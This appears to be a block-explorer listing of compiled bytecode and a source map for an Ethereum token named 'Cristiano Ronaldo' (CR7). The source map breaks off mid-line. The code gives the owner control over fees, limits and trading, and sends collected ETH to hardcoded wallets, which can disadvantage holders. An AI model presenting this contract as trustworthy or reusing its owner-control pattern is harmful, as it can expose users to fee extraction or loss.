b9565b9150602083013580151581146115a9575f80fd5b809150509250929050565b5f80604083850312156115c5575f80fd5b82356115d0816114b9565b915060208301356115a9816114b9565b5f805f805f805f60e0888a0312156115f6575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104ca576104ca611627565b5f8261166c57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104ca576104ca611627565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116a8575f80fd5b81516105f9816114b9565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117035784516001600160a01b0316835293830193918301916001016116de565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104ca576104ca611627565b5f805f60608486031215611749575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212205fbbc78fecf7de2a079e77e7cac5dc118947298d51e7682d8a42cda0423e444564736f6c63430008190033

Deployed Bytecode

0x608060405260043610610164575f3560e01c8063751039fc116100cd578063a9059cbb11610087578063ae618a5f11610062578063ae618a5f14610419578063dd62ed3e14610438578063e26754ae1461047c578063f2fde38b1461049b575f80fd5b8063a9059cbb146103d2578063a9e75723146103f1578063aa4bde2814610405575f80fd5b8063751039fc1461033b578063893d20e81461034f5780638a8c523c1461036b5780638c0b5e221461037f5780639358928b1461039357806395d89b41146103a7575f80fd5b8063313ce5671161011e578063313ce567146102745780633ab037841461028f57806351bc3c85146102c65780636a4fc1b0146102da57806370a0823114610308578063715018a614610327575f80fd5b806306fdde031461016f578063095ea7b3146101ba57806318160ddd146101e9578063189ae5f21461020757806323b872dd146102285780632f54bf6e14610247575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50604080518082019091526011815270437269737469616e6f20526f6e616c646f60781b60208201525b6040516101b19190611484565b60405180910390f35b3480156101c5575f80fd5b506101d96101d43660046114cd565b6104ba565b60405190151581526020016101b1565b3480156101f4575f80fd5b506009545b6040519081526020016101b1565b348015610212575f80fd5b506102266102213660046114f7565b6104d0565b005b348015610233575f80fd5b506101d9610242366004611520565b6105b0565b348015610252575f80fd5b506101d961026136600461155e565b5f546001600160a01b0391821691161490565b34801561027f575f80fd5b50604051600981526020016101b1565b34801561029a575f80fd5b506001546102ae906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102d1575f80fd5b50610226610600565b3480156102e5575f80fd5b506101d96102f436600461155e565b60176020525f908152604090205460ff1681565b348015610313575f80fd5b506101f961032236600461155e565b61065c565b348015610332575f80fd5b50610226610676565b348015610346575f80fd5b506102266106cf565b34801561035a575f80fd5b505f546001600160a01b03166102ae565b348015610376575f80fd5b506102266106f6565b34801561038a575f80fd5b506101f961071a565b34801561039e575f80fd5b506101f9610743565b3480156103b2575f80fd5b5060408051808201909152600381526243523760e81b60208201526101a4565b3480156103dd575f80fd5b506101d96103ec3660046114cd565b61076d565b3480156103fc575f80fd5b506101f9610779565b348015610410575f80fd5b506101f9610789565b348015610424575f80fd5b50610226610433366004611579565b610799565b348015610443575f80fd5b506101f96104523660046115b4565b6001600160a01b039182165f90815260166020908152604080832093909416825291909152205490565b348015610487575f80fd5b506102266104963660046115e0565b6107d8565b3480156104a6575f80fd5b506102266104b536600461155e565b610843565b5f6104c63384846108ab565b5060015b92915050565b5f546001600160a01b031633146104e5575f80fd5b5f612710826104f360095490565b6104fd919061163b565b6105079190611652565b90505f6127108461051760095490565b610521919061163b565b61052b9190611652565b90505f6127108661053b60095490565b610545919061163b565b61054f9190611652565b600b859055600c869055600d87905590505f6105816103e861057b600561057560095490565b90610930565b9061093b565b90508082101580156105935750808310155b801561059f5750808410155b6105a7575f80fd5b50505050505050565b5f6105bc848484610946565b6001600160a01b0384165f908152601660209081526040808320338085529252909120546105f59186916105f09086610c55565b6108ab565b5060015b9392505050565b3373c7acefec1751c9b0d99175c554d3c674ce16d06c1461061f575f80fd5b61063061062b3061065c565b610c60565b60405133904780156108fc02915f818181858888f19350505050158015610659573d5f803e3d5ffd5b50565b6001600160a01b03165f9081526015602052604090205490565b5f546001600160a01b0316331461068b575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106e4575f80fd5b612710600d819055600b819055600c55565b5f546001600160a01b0316331461070b575f80fd5b6010805460ff19166001179055565b5f600854600d5461072a60095490565b610734919061163b565b61073e9190611652565b905090565b5f61073e61075261dead61065c565b61076761075e5f61065c565b60095490610c55565b90610c55565b5f6104c6338484610946565b5f600854600c5461072a60095490565b5f600854600b5461072a60095490565b5f546001600160a01b031633146107ae575f80fd5b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107ed575f80fd5b600587815560068790556014839055600385905560078290556013849055600486905560085461081c9161093b565b6013541115801561059f575060085461083690600561093b565b60145411156105a7575f80fd5b5f546001600160a01b03163314610858575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108bd575f80fd5b6001600160a01b0382166108cf575f80fd5b6001600160a01b038381165f8181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f6105f9828461163b565b5f6105f98284611652565b5f8111610951575f80fd5b6001600160a01b038316610963575f80fd5b6001600160a01b038216610975575f80fd5b610980838383610dc1565b801561099157506109918383610e8e565b80156109a257506109a28383610eea565b80156109b457506109b4838383610f3d565b15610c5057806109c38461065c565b10610b3c576001546001600160a01b038481169116148015906109fe57506001600160a01b0383165f9081526017602052604090205460ff16155b8015610a125750601254610100900460ff16155b8015610a3657506001600160a01b0382165f9081526017602052604090205460ff16155b15610a5a57601054610100900460ff1615610a5057505050565b610a5a8383611002565b6001600160a01b0383165f90815260156020526040902054610a7c9082610c55565b6001600160a01b0384165f90815260156020526040812091909155610aa1848461103d565b610aab5781610ab6565b610ab6848484611081565b6001600160a01b0384165f90815260156020526040902054909150610adb908261116b565b6001600160a01b038085165f8181526015602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b2e9085815260200190565b60405180910390a350505050565b6001546001600160a01b03848116911614801590610b7157506001600160a01b0383165f9081526017602052604090205460ff165b8015610b855750601254610100900460ff16155b8015610ba957506001600160a01b0382165f9081526017602052604090205460ff16155b15610c50576001600160a01b0382165f90815260156020526040902054610bd09082610c55565b6001600160a01b038084165f908152601560205260408082209390935590851681522054610bfe908261116b565b6001600160a01b038481165f8181526015602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610923565b505050565b5f6105f98284611671565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c9357610c93611684565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cea573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d0e9190611698565b81600181518110610d2157610d21611684565b6001600160a01b03909216602092830291909101909101528115610dbd57600254610d579030906001600160a01b0316846108ab565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d8f9085905f908690309042906004016116b3565b5f604051808303815f87803b158015610da6575f80fd5b505af1158015610db8573d5f803e3d5ffd5b505050505b5050565b6001600160a01b038083165f90815260176020526040808220549286168252812054909160ff90811691168115610e0c57600a54841115610e0c576010805461ff0019166101001790555b81158015610e18575080155b8015610e2f57506001600160a01b03851661dead14155b8015610e4957506001546001600160a01b03868116911614155b15610e8257610e56610789565b6001600160a01b0386165f90815260156020526040902054610e78908661116b565b1115610e82575f80fd5b50600195945050505050565b6001545f906001600160a01b038381169116148015610ec557506001600160a01b0383165f9081526017602052604090205460ff16155b156104c657600160115f828254610edc9190611724565b909155505050600192915050565b6001600160a01b0382165f9081526017602052604081205460ff16158015610f2a57506001600160a01b0382165f9081526017602052604090205460ff16155b156104c65760105460ff166104c6575f80fd5b6001545f906001600160a01b03858116911614610fab57610f5c610779565b82111580610f8157506001600160a01b0384165f9081526017602052604090205460ff165b80610fa357506001600160a01b0383165f9081526017602052604090205460ff165b610fab575f80fd5b610fb361071a565b82111580610fd857506001600160a01b0384165f9081526017602052604090205460ff165b80610ffa57506001600160a01b0383165f9081526017602052604090205460ff165b6105f5575f80fd5b61100c8282611176565b15610dbd575f61101b3061065c565b9050600e54811061102b5750600e545b6110348161120c565b505f6011555050565b6001600160a01b0382165f9081526017602052604081205460ff161580156105f95750506001600160a01b03165f9081526017602052604090205460ff1615919050565b5f8061108d858561138b565b1115611164575f6110af6110a1868661138b565b60085461057590869061093b565b305f908152601560205260409020549091506110cb908261116b565b305f81815260156020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111b9085815260200190565b60405180910390a360045415611152576111523061dead61114d6004546105756008548961093b90919063ffffffff16565b610946565b61115c8382610c55565b9150506105f9565b5092915050565b5f6105f98284611724565b6001600160a01b0381165f9081526017602052604081205460ff161580156111b657506001600160a01b0383165f9081526017602052604090205460ff16155b80156111c4575060125460ff165b80156111da5750600f546111d73061065c565b10155b80156111e4575060015b80156111f85750601254610100900460ff16155b80156105f957505060105460ff1692915050565b6012805461ff0019166101001790556003546006546005545f9261124592600292610575929161123f918290600161116b565b9061116b565b90505f6112618261057b6005548661093090919063ffffffff16565b90505f61126e8483610c55565b90504761127a82610c60565b5f6112854783610c55565b90505f6112a76112a060055488610c5590919063ffffffff16565b839061093b565b90505f6112bf6005548361093090919063ffffffff16565b905080156112d1576112d186826113d5565b6006545f906112e590610575856002610930565b9050801561132d5760405173c7acefec1751c9b0d99175c554d3c674ce16d06c9082156108fc029083905f818181858888f1935050505015801561132b573d5f803e3d5ffd5b505b478015611374576040517339723083562019bba53928baa8f008591ea4f67a9082156108fc029083905f818181858888f19350505050158015611372573d5f803e3d5ffd5b505b50506012805461ff00191690555050505050505050565b6001545f906001600160a01b03908116908416036113ac57506013546104ca565b6001546001600160a01b03908116908316036113cb57506014546104ca565b5060075492915050565b6002546113ed9030906001600160a01b0316846108ab565b60025460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611458573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061147d9190611737565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610659575f80fd5b5f80604083850312156114de575f80fd5b82356114e9816114b9565b946020939093013593505050565b5f805f60608486031215611509575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611532575f80fd5b833561153d816114b9565b9250602084013561154d816114b9565b929592945050506040919091013590565b5f6020828403121561156e575f80fd5b81356105f9816114b9565b5f806040838503121561158a575f80fd5b8235611595816114b9565b9150602083013580151581146115a9575f80fd5b809150509250929050565b5f80604083850312156115c5575f80fd5b82356115d0816114b9565b915060208301356115a9816114b9565b5f805f805f805f60e0888a0312156115f6575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104ca576104ca611627565b5f8261166c57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104ca576104ca611627565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156116a8575f80fd5b81516105f9816114b9565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117035784516001600160a01b0316835293830193918301916001016116de565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104ca576104ca611627565b5f805f60608486031215611749575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212205fbbc78fecf7de2a079e77e7cac5dc118947298d51e7682d8a42cda0423e444564736f6c63430008190033

Deployed Bytecode Sourcemap

3071:13561:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5610:83;;;;;;;;;;-1:-1:-1;5680:5:0;;;;;;;;;;;;-1:-1:-1;;;5680:5:0;;;;5610:83;;;;;;;:::i;:::-;;;;;;;;6714:159;;;;;;;;;;-1:-1:-1;6714:159:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6714:159:0;893:187:1;5892:100:0;;;;;;;;;;-1:-1:-1;5972:12:0;;5892:100;;;1231:25:1;;;1219:2;1204:18;5892:100:0;1085:177:1;9278:709:0;;;;;;;;;;-1:-1:-1;9278:709:0;;;;;:::i;:::-;;:::i;:::-;;7453:255;;;;;;;;;;-1:-1:-1;7453:255:0;;;;;:::i;:::-;;:::i;706:103::-;;;;;;;;;;-1:-1:-1;706:103:0;;;;;:::i;:::-;761:4;796:5;-1:-1:-1;;;;;785:16:0;;;796:5;;785:16;;706:103;5801:83;;;;;;;;;;-1:-1:-1;5801:83:0;;3594:1;2443:36:1;;2431:2;2416:18;5801:83:0;2301:184:1;3110:27:0;;;;;;;;;;-1:-1:-1;3110:27:0;;;;-1:-1:-1;;;;;3110:27:0;;;;;;-1:-1:-1;;;;;2654:32:1;;;2636:51;;2624:2;2609:18;3110:27:0;2490:203:1;14845:204:0;;;;;;;;;;;;;:::i;4695:48::-;;;;;;;;;;-1:-1:-1;4695:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6169:119;;;;;;;;;;-1:-1:-1;6169:119:0;;;;;:::i;:::-;;:::i;1042:139::-;;;;;;;;;;;;;:::i;6540:166::-;;;;;;;;;;;;;:::i;5701:92::-;;;;;;;;;;-1:-1:-1;5753:7:0;5780:5;-1:-1:-1;;;;;5780:5:0;5701:92;;6447:85;;;;;;;;;;;;;:::i;14711:126::-;;;;;;;;;;;;;:::i;6000:161::-;;;;;;;;;;;;;:::i;5515:87::-;;;;;;;;;;-1:-1:-1;5587:7:0;;;;;;;;;;;;-1:-1:-1;;;5587:7:0;;;;5515:87;;7146:159;;;;;;;;;;-1:-1:-1;7146:159:0;;;;;:::i;:::-;;:::i;15464:138::-;;;;;;;;;;;;;:::i;13296:134::-;;;;;;;;;;;;;:::i;7313:132::-;;;;;;;;;;-1:-1:-1;7313:132:0;;;;;:::i;:::-;;:::i;6296:143::-;;;;;;;;;;-1:-1:-1;6296:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6404:18:0;;;6377:7;6404:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6296:143;11110:496;;;;;;;;;;-1:-1:-1;11110:496:0;;;;;:::i;:::-;;:::i;886:148::-;;;;;;;;;;-1:-1:-1;886:148:0;;;;;:::i;:::-;;:::i;6714:159::-;6789:4;6806:37;6815:10;6827:7;6836:6;6806:8;:37::i;:::-;-1:-1:-1;6861:4:0;6714:159;;;;;:::o;9278:709::-;761:4;796:5;-1:-1:-1;;;;;796:5:0;1287:10;785:16;1271:28;;;;;;9412:26:::1;9481:5;9458:19;9442:13;5972:12:::0;;;5892:100;9442:13:::1;:35;;;;:::i;:::-;9441:45;;;;:::i;:::-;9412:74;;9497:25;9567:5;9542:21;9526:13;5972:12:::0;;;5892:100;9526:13:::1;:37;;;;:::i;:::-;9525:47;;;;:::i;:::-;9497:75;;9583:19;9641:5;9622:15;9606:13;5972:12:::0;;;5892:100;9606:13:::1;:31;;;;:::i;:::-;9605:41;;;;:::i;:::-;9657:20;:42:::0;;;9710:22:::1;:46:::0;;;9767:16:::1;:34:::0;;;9583:63;-1:-1:-1;;9833:30:0::1;9858:4;9833:20;9851:1;9833:13;5972:12:::0;;;5892:100;9833:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;9812:51;;9897:10;9882:11;:25;;:60;;;;;9932:10;9911:17;:31;;9882:60;:96;;;;;9968:10;9946:18;:32;;9882:96;9874:105;;;::::0;::::1;;9401:586;;;;9278:709:::0;;;:::o;7453:255::-;7547:4;7564:32;7574:5;7581:6;7589;7564:9;:32::i;:::-;-1:-1:-1;;;;;7635:18:0;;;;;;:11;:18;;;;;;;;7623:10;7635:30;;;;;;;;;7607:71;;7616:5;;7635:42;;7670:6;7635:34;:42::i;:::-;7607:8;:71::i;:::-;-1:-1:-1;7696:4:0;7453:255;;;;;;:::o;14845:204::-;14895:10;3826:42;14895:30;14887:39;;;;;;14937:42;14954:24;14972:4;14954:9;:24::i;:::-;14937:16;:42::i;:::-;14990:51;;14998:10;;15019:21;14990:51;;;;;;;;;15019:21;14998:10;14990:51;;;;;;;;;;;;;;;;;;;;;14845:204::o;6169:119::-;-1:-1:-1;;;;;6262:18:0;6235:7;6262:18;;;:9;:18;;;;;;;6169:119::o;1042:139::-;761:4;796:5;-1:-1:-1;;;;;796:5:0;1287:10;785:16;1271:28;;;;;;1123:1:::1;1107:18:::0;;-1:-1:-1;;;;;;1107:18:0::1;::::0;;1141:32:::1;::::0;2636:51:1;;;1141:32:0::1;::::0;2624:2:1;2609:18;1141:32:0::1;;;;;;;1042:139::o:0;6540:166::-;761:4;796:5;-1:-1:-1;;;;;796:5:0;1287:10;785:16;1271:28;;;;;;6613:5:::1;6594:16;:24:::0;;;6629:20:::1;:28:::0;;;6668:22:::1;:30:::0;6540:166::o;6447:85::-;761:4;796:5;-1:-1:-1;;;;;796:5:0;1287:10;785:16;1271:28;;;;;;6502:15:::1;:22:::0;;-1:-1:-1;;6502:22:0::1;6520:4;6502:22;::::0;;6447:85::o;14711:126::-;14755:7;14817:12;;14798:16;;14782:13;5972:12;;;5892:100;14782:13;:32;;;;:::i;:::-;:47;;;;:::i;:::-;14775:54;;14711:126;:::o;6000:161::-;6059:7;6086:67;6130:22;3644:42;6130:9;:22::i;:::-;6086:39;6103:21;6121:1;6103:9;:21::i;:::-;6086:12;;;:16;:39::i;:::-;:43;;:67::i;7146:159::-;7221:4;7238:37;7248:10;7260:6;7268;7238:9;:37::i;15464:138::-;15514:7;15582:12;;15557:22;;15541:13;5972:12;;;5892:100;13296:134;13344:7;13410:12;;13387:20;;13371:13;5972:12;;;5892:100;7313:132;761:4;796:5;-1:-1:-1;;;;;796:5:0;1287:10;785:16;1271:28;;;;;;-1:-1:-1;;;;;7406:24:0;;;::::1;;::::0;;;:15:::1;:24;::::0;;;;:31;;-1:-1:-1;;7406:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7313:132::o;11110:496::-;761:4;796:5;-1:-1:-1;;;;;796:5:0;1287:10;785:16;1271:28;;;;;;11291:13:::1;:28:::0;;;11330:13:::1;:28:::0;;;11369:8:::1;:18:::0;;;11398:7:::1;:16:::0;;;11425:12:::1;:26:::0;;;11462:9:::1;:20:::0;;;11493:8:::1;:18:::0;;;11543:12:::1;::::0;:19:::1;::::0;:16:::1;:19::i;:::-;11530:9;;:32;;:67;;;;-1:-1:-1::0;11578:12:0::1;::::0;:19:::1;::::0;11595:1:::1;11578:16;:19::i;:::-;11566:8;;:31;;11522:76;;;::::0;::::1;886:148:::0;761:4;796:5;-1:-1:-1;;;;;796:5:0;1287:10;785:16;1271:28;;;;;;966:5:::1;:15:::0;;-1:-1:-1;;;;;;966:15:0::1;-1:-1:-1::0;;;;;966:15:0;::::1;::::0;;::::1;::::0;;;997:29:::1;::::0;2636:51:1;;;997:29:0::1;::::0;2624:2:1;2609:18;997:29:0::1;;;;;;;886:148:::0;:::o;6881:257::-;-1:-1:-1;;;;;6974:19:0;;6966:28;;;;;;-1:-1:-1;;;;;7013:21:0;;7005:30;;;;;;-1:-1:-1;;;;;7046:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7098:32;;1231:25:1;;;7098:32:0;;1204:18:1;7098:32:0;;;;;;;;6881:257;;;:::o;537:98::-;595:7;622:5;626:1;622;:5;:::i;325:98::-;383:7;410:5;414:1;410;:5;:::i;7716:1554::-;7826:1;7809:6;:19;7801:28;;;;;;-1:-1:-1;;;;;7848:19:0;;7840:28;;;;;;-1:-1:-1;;;;;7887:20:0;;7879:29;;;;;;7939:46;7963:5;7970:6;7978;7939:23;:46::i;:::-;:93;;;;;8002:30;8018:5;8025:6;8002:15;:30::i;:::-;7939:147;;;;;8049:37;8072:5;8079:6;8049:22;:37::i;:::-;7939:204;;;;;8103:40;8121:5;8128:6;8136;8103:17;:40::i;:::-;7921:1342;;;8194:6;8174:16;8184:5;8174:9;:16::i;:::-;:26;8170:1082;;8256:12;;-1:-1:-1;;;;;8247:21:0;;;8256:12;;8247:21;;;;:69;;-1:-1:-1;;;;;;8294:22:0;;;;;;:15;:22;;;;;;;;8293:23;8247:69;:104;;;;-1:-1:-1;8342:9:0;;;;;;;8341:10;8247:104;:153;;;;-1:-1:-1;;;;;;8377:23:0;;;;;;:15;:23;;;;;;;;8376:24;8247:153;8221:311;;;8447:11;;;;;;;8443:24;;;7716:1554;;;:::o;8443:24::-;8489:23;8498:5;8505:6;8489:8;:23::i;:::-;-1:-1:-1;;;;;8569:16:0;;;;;;:9;:16;;;;;;:28;;8590:6;8569:20;:28::i;:::-;-1:-1:-1;;;;;8550:16:0;;;;;;:9;:16;;;;;:47;;;;8641:25;8560:5;8659:6;8641:10;:25::i;:::-;:67;;8702:6;8641:67;;;8669:30;8677:5;8684:6;8692;8669:7;:30::i;:::-;-1:-1:-1;;;;;8747:17:0;;;;;;:9;:17;;;;;;8616:92;;-1:-1:-1;8747:37:0;;8616:92;8747:21;:37::i;:::-;-1:-1:-1;;;;;8727:17:0;;;;;;;:9;:17;;;;;;;:57;;;;8808:39;;;;;;;;;;8832:14;1231:25:1;;1219:2;1204:18;;1085:177;8808:39:0;;;;;;;;8202:661;7716:1554;;;:::o;8170:1082::-;8900:12;;-1:-1:-1;;;;;8891:21:0;;;8900:12;;8891:21;;;;:64;;-1:-1:-1;;;;;;8933:22:0;;;;;;:15;:22;;;;;;;;8891:64;:95;;;;-1:-1:-1;8977:9:0;;;;;;;8976:10;8891:95;:140;;;;-1:-1:-1;;;;;;9008:23:0;;;;;;:15;:23;;;;;;;;9007:24;8891:140;8869:383;;;-1:-1:-1;;;;;9086:17:0;;;;;;:9;:17;;;;;;:29;;9108:6;9086:21;:29::i;:::-;-1:-1:-1;;;;;9066:17:0;;;;;;;:9;:17;;;;;;:49;;;;9153:16;;;;;;;:28;;9174:6;9153:20;:28::i;:::-;-1:-1:-1;;;;;9134:16:0;;;;;;;:9;:16;;;;;;;;;:47;;;;9205:31;1231:25:1;;;9205:31:0;;;;9134:16;;9205:31;;1204:18:1;9205:31:0;1085:177:1;8869:383:0;7716:1554;;;:::o;219:98::-;277:7;304:5;308:1;304;:5;:::i;12745:543::-;12835:16;;;12849:1;12835:16;;;;;;;;12811:21;;12835:16;;;;;;;;;;-1:-1:-1;12835:16:0;12811:40;;12880:4;12862;12867:1;12862:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12862:23:0;;;:7;;;;;;;;;;:23;;;;12906:14;;:21;;;-1:-1:-1;;;12906:21:0;;;;:14;;;;;:19;;:21;;;;;12862:7;;12906:21;;;;;:14;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12896:4;12901:1;12896:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12896:31:0;;;:7;;;;;;;;;;;:31;12942:15;;12938:343;;13006:14;;12974:61;;12991:4;;-1:-1:-1;;;;;13006:14:0;13023:11;12974:8;:61::i;:::-;13050:14;;:219;;-1:-1:-1;;;13050:219:0;;-1:-1:-1;;;;;13050:14:0;;;;:65;;:219;;13134:11;;13050:14;;13184:4;;13215;;13239:15;;13050:219;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12938:343;12800:488;12745:543;:::o;10402:700::-;-1:-1:-1;;;;;10546:23:0;;;10500:4;10546:23;;;:15;:23;;;;;;;10608:22;;;;;;;;10500:4;;10546:23;;;;;10608:22;10651:137;;;;10706:16;;10697:6;:25;10693:84;;;10743:11;:18;;-1:-1:-1;;10743:18:0;;;;;10693:84;10817:21;10816:22;:60;;;;;10856:20;10855:21;10816:60;:107;;;;-1:-1:-1;;;;;;10893:30:0;;3644:42;10893:30;;10816:107;:155;;;;-1:-1:-1;10958:12:0;;-1:-1:-1;;;;;10940:31:0;;;10958:12;;10940:31;;10816:155;10798:273;;;11041:17;:15;:17::i;:::-;-1:-1:-1;;;;;11007:17:0;;;;;;:9;:17;;;;;;:29;;11029:6;11007:21;:29::i;:::-;11006:52;;10998:61;;;;;;-1:-1:-1;11090:4:0;;10402:700;-1:-1:-1;;;;;10402:700:0:o;12510:227::-;12615:12;;12584:4;;-1:-1:-1;;;;;12605:22:0;;;12615:12;;12605:22;:49;;;;-1:-1:-1;;;;;;12632:22:0;;;;;;:15;:22;;;;;;;;12631:23;12605:49;12601:107;;;12694:1;12671:11;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;;12725:4:0;12510:227;;;;:::o;12258:240::-;-1:-1:-1;;;;;12366:22:0;;12344:4;12366:22;;;:15;:22;;;;;;;;12365:23;:51;;;;-1:-1:-1;;;;;;12393:23:0;;;;;;:15;:23;;;;;;;;12392:24;12365:51;12361:108;;;12441:15;;;;12433:24;;;;;9995:399;10127:12;;10097:4;;-1:-1:-1;;;;;10118:21:0;;;10127:12;;10118:21;10114:150;;10179:19;:17;:19::i;:::-;10164:11;:34;;:60;;;-1:-1:-1;;;;;;10202:22:0;;;;;;:15;:22;;;;;;;;10164:60;:87;;;-1:-1:-1;;;;;;10228:23:0;;;;;;:15;:23;;;;;;;;10164:87;10156:96;;;;;;10297:13;:11;:13::i;:::-;10282:11;:28;;:54;;;-1:-1:-1;;;;;;10314:22:0;;;;;;:15;:22;;;;;;;;10282:54;:81;;;-1:-1:-1;;;;;;10340:23:0;;;;;;:15;:23;;;;;;;;10282:81;10274:90;;;;;13603:412;13676:26;13688:5;13695:6;13676:11;:26::i;:::-;13672:336;;;13719:28;13750:24;13768:4;13750:9;:24::i;:::-;13719:55;;13817:15;;13793:20;:39;13789:118;;-1:-1:-1;13876:15:0;;13789:118;13921:36;13936:20;13921:14;:36::i;:::-;-1:-1:-1;13994:1:0;13972:11;:24;13603:412;;:::o;13438:157::-;-1:-1:-1;;;;;13537:22:0;;13512:4;13537:22;;;:15;:22;;;;;;;;13536:23;:51;;;;-1:-1:-1;;;;;;;13564:23:0;;;;;:15;:23;;;;;;;;13563:24;;13438:157;-1:-1:-1;13438:157:0:o;11614:636::-;11701:7;11750:1;11725:22;11733:5;11740:6;11725:7;:22::i;:::-;:26;11721:493;;;11768:17;11788:57;11822:22;11830:5;11837:6;11822:7;:22::i;:::-;11804:12;;11788:29;;:11;;:15;:29::i;:57::-;11905:4;11887:24;;;;:9;:24;;;;;;11768:77;;-1:-1:-1;11887:39:0;;11768:77;11887:28;:39::i;:::-;11878:4;11860:24;;;;:9;:24;;;;;;;:66;;;;11946:41;;-1:-1:-1;;;;;11946:41:0;;;;;;;11977:9;1231:25:1;;1219:2;1204:18;;1085:177;11946:41:0;;;;;;;;12006:8;;:21;12002:153;;12048:91;12066:4;3644:42;12095:43;12129:8;;12095:29;12111:12;;12095:11;:15;;:29;;;;:::i;:43::-;12048:9;:91::i;:::-;12176:26;:11;12192:9;12176:15;:26::i;:::-;12169:33;;;;;11721:493;-1:-1:-1;12231:11:0;11614:636;-1:-1:-1;;11614:636:0:o;431:98::-;489:7;516:5;520:1;516;:5;:::i;14023:394::-;-1:-1:-1;;;;;14138:23:0;;14098:4;14138:23;;;:15;:23;;;;;;;;14137:24;:64;;;;-1:-1:-1;;;;;;14179:22:0;;;;;;:15;:22;;;;;;;;14178:23;14137:64;:97;;;;-1:-1:-1;14218:16:0;;;;14137:97;:160;;;;;14279:18;;14251:24;14269:4;14251:9;:24::i;:::-;:46;;14137:160;:202;;;;-1:-1:-1;14314:25:0;14137:202;:229;;;;-1:-1:-1;14357:9:0;;;;;;;14356:10;14137:229;:261;;;;-1:-1:-1;;14383:15:0;;;;;14023:394;-1:-1:-1;;14023:394:0:o;15610:1019::-;5443:9;:16;;-1:-1:-1;;5443:16:0;;;;;15745:7:::1;::::0;15726:13:::1;::::0;15701::::1;::::0;5443:16;;15700:61:::1;::::0;15759:1:::1;::::0;15701:52:::1;::::0;15745:7;15701:39:::1;::::0;;;5455:4;15701:17:::1;:20::i;:::-;:24:::0;::::1;:39::i;15700:61::-;15678:83;;15772:19;15794:42;15824:11;15794:25;15805:13;;15794:6;:10;;:25;;;;:::i;:42::-;15772:64:::0;-1:-1:-1;15847:20:0::1;15870:23;:6:::0;15772:64;15870:10:::1;:23::i;:::-;15847:46:::0;-1:-1:-1;15925:21:0::1;15957:30;15847:46:::0;15957:16:::1;:30::i;:::-;15998:16;16017:37;:21;16043:10:::0;16017:25:::1;:37::i;:::-;15998:56;;16065:15;16083:44;16096:30;16112:13;;16096:11;:15;;:30;;;;:::i;:::-;16083:8:::0;;:12:::1;:44::i;:::-;16065:62;;16138:16;16157:26;16169:13;;16157:7;:11;;:26;;;;:::i;:::-;16138:45:::0;-1:-1:-1;16198:21:0;;16194:89:::1;;16236:35;16249:11;16262:8;16236:12;:35::i;:::-;16338:13;::::0;16293:23:::1;::::0;16319:33:::1;::::0;:14:::1;:7:::0;16331:1:::1;16319:11;:14::i;:33::-;16293:59:::0;-1:-1:-1;16367:19:0;;16363:103: